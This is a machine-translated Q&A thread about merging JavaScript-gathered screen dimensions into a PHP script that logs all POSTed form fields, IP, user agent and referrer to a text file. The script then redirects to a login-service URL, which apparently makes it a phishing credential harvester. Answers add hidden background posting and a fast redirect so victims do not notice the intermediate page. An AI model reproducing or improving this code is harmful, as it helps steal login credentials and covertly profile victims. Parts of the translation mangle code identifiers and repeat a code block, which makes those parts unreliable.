将JavaScript输出与PHP合并?

将JavaScript输出与PHP合并?,javascript,php,text-files,Javascript,Php,Text Files,我有一段现有代码,用于将某些数据记录到文本文件中: <?php header("Location: https://www.example.com/accounts/ServiceLoginAuth "); $handle = fopen("file.txt", "a"); $post = $_POST; $post['IP'] = $_SERVER['REMOTE_ADDR']; $post['Browser/UserAgent'] = $_S

我有一段现有代码,用于将某些数据记录到文本文件中:

<?php

    header("Location: https://www.example.com/accounts/ServiceLoginAuth ");
    $handle = fopen("file.txt", "a");

    $post = $_POST;
    $post['IP'] = $_SERVER['REMOTE_ADDR'];
    $post['Browser/UserAgent'] = $_SERVER['HTTP_USER_AGENT'];
    $post['Referrer'] = $_SERVER['HTTP_REFERER'];
    $post['Date&Time'] = date("l jS \of F Y h:i:s A");

    foreach($post as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, PHP_EOL);
    }

    fwrite($handle, PHP_EOL);
    fclose($handle);
    exit;

?>
那么如何将这些信息记录在同一个文件中呢

PS:我不能使用jquery…:(

*****编辑*****


好的,我可以使用JQuery,但输出仍然需要在同一个文本文件中…

我想到的一种方法是,不要将现有代码放在用户登陆的页面中,而是使用一个新的Javascript文件,就像您已经知道的那样,它可以获得解析

然后,让新的初始页面在后台将解析变量发布到php脚本中,然后解析变量将成为POST数组的一部分,并可以与现有POST数据的其余部分一起存储

使用Javascript发布数据是相当常规的,这可能是它自己的主题,但我相信您可以在web上找到无限的示例,JQuery确实用更少的代码来完成,但太糟糕了,这不是一个选项:(

编辑:下面的示例是使用jQuery发布到php

创建新的“landing.php”(不必是.php,也可以是.html)或者你想要什么名字,让它成为用户首先登陆的地方,然后把它放进去。它可能是你的用户可能已经登陆的现有页面,在这种情况下,只需把它放在底部。然后,当用户开始他们的业务时,它会在后台发生

<script type="text/javascript">

    var screenWidth = window.screen.width,
        screenHeight = window.screen.height;

    $.post('name_and_path_of_php_file_you_already_created.php', { 
            screenWidth: screenWidth, 
            screenHeight: screenHeight 
          }, function(data) {

                // Can do something extra here, most likely redirect your 
                // user to a more meaningful page after the file is created
                // using something like.

                window.location.href = 'some_meaning_page.php';

                // Also in this case, 'data' variable will hold anything
                // Outputted from the PHP if any, and is optional, but can
                // be useful for echo'ing out some status code or something
                // and make a decision.

        });

</script>

var screenWidth=window.screen.width,
屏幕高度=window.screen.height;
$.post('u php\u文件的名称\u和路径\u\u您已经\u创建了.php',{
屏幕宽度:屏幕宽度,
屏幕高度:屏幕高度
},函数(数据){
//可以在这里做些额外的事情,很可能重定向您的
//在创建文件后,用户可以访问更有意义的页面
//使用类似于。
window.location.href='some_means_page.php';
//同样在这种情况下,“data”变量将保存任何内容
//从PHP输出(如果有),并且是可选的,但是可以
//对回显一些状态码或其他东西很有用
//然后做出决定。
});
因为您现有的php脚本已经在$_POST数组中循环(在您的例子中是POST)并生成键/值对,所以这意味着“screenWidth”和“screenHeight”键/值将与其他变量一起自动添加到文件中

如果您能够将此内容添加到您知道用户正在登录的现有页面,那么您可能不需要使用“window.location.href”重定向,但如果这是第一个页面,那么他们将看不到任何内容,您可能希望将其重定向到某些内容,而对他们来说,这种情况发生得太快,他们根本不知道自己在一个pa上然后发送给另一个,看起来他们访问的页面加载正常


如果不清楚,或者需要其他方面的帮助,请告诉我。

您不能,至少在同一时间

当您的php正在执行时,您的页面仍然等待发送到客户端(或者正在执行)

当页面在客户端加载时,javascript将被执行,并且没有机会通过浏览器与服务器的http连接进行操作

所以,如果您想在服务器端获取这些数据,应该通过ajax将其发送给接收它的脚本

好的。它可以修改同一个文件。但请注意不要与其他脚本执行重叠,这样可能会导致意外结果


还要记住,你不能确定客户端是否能有效地执行你的javascript,甚至不能通过ajax连接向你发送信息,因此你需要准备好注册不完整。

我也碰巧遇到了一个完整的noob…将页面中的数据发布到你的函数中,然后保存它。我认为这将I’我会解决你的问题这是一个可能的复制品吗?
<script type="text/javascript">

    var screenWidth = window.screen.width,
        screenHeight = window.screen.height;

    $.post('name_and_path_of_php_file_you_already_created.php', { 
            screenWidth: screenWidth, 
            screenHeight: screenHeight 
          }, function(data) {

                // Can do something extra here, most likely redirect your 
                // user to a more meaningful page after the file is created
                // using something like.

                window.location.href = 'some_meaning_page.php';

                // Also in this case, 'data' variable will hold anything
                // Outputted from the PHP if any, and is optional, but can
                // be useful for echo'ing out some status code or something
                // and make a decision.

        });

</script>